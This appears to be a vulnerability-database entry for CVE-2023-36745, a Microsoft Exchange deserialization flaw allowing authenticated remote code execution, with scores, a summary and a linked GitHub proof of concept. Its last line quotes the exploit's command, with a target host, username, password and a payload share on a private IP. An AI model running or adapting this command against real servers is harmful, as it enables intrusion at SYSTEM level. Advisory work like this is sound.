8
CVSSv3

CVE-2023-36745

Published: 12/09/2023 Updated: 15/09/2023
CVSS v3 Base Score: 8 | Impact Score: 5.9 | Exploitability Score: 2.1
VMScore: 0

Vulnerability Summary

This vulnerability allows remote malicious users to execute arbitrary code on affected installations of Microsoft Exchange. Authentication is required to exploit this vulnerability. The specific flaw exists within the lack of protection against deserialization of the SharedTypeResolver class. The issue results from the lack of proper validation of user-supplied data, which can result in deserialization of untrusted data. An attacker can leverage this in conjunction with other vulnerabilities to execute arbitrary code in the context of SYSTEM.

Vulnerability Trend

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microsoft exchange server 2019

microsoft exchange server 2016

Github Repositories

CVE-2023-36745 Microsoft Exchange Server CVE-2023-36745 RCE PoC Example: python3 exppy -H exchangewebdxgcom -u webdxgcom\dddai -p 4IDF7LAU -s \\192168237131\Shares\ -c calcexe Command will be passed to powershell -e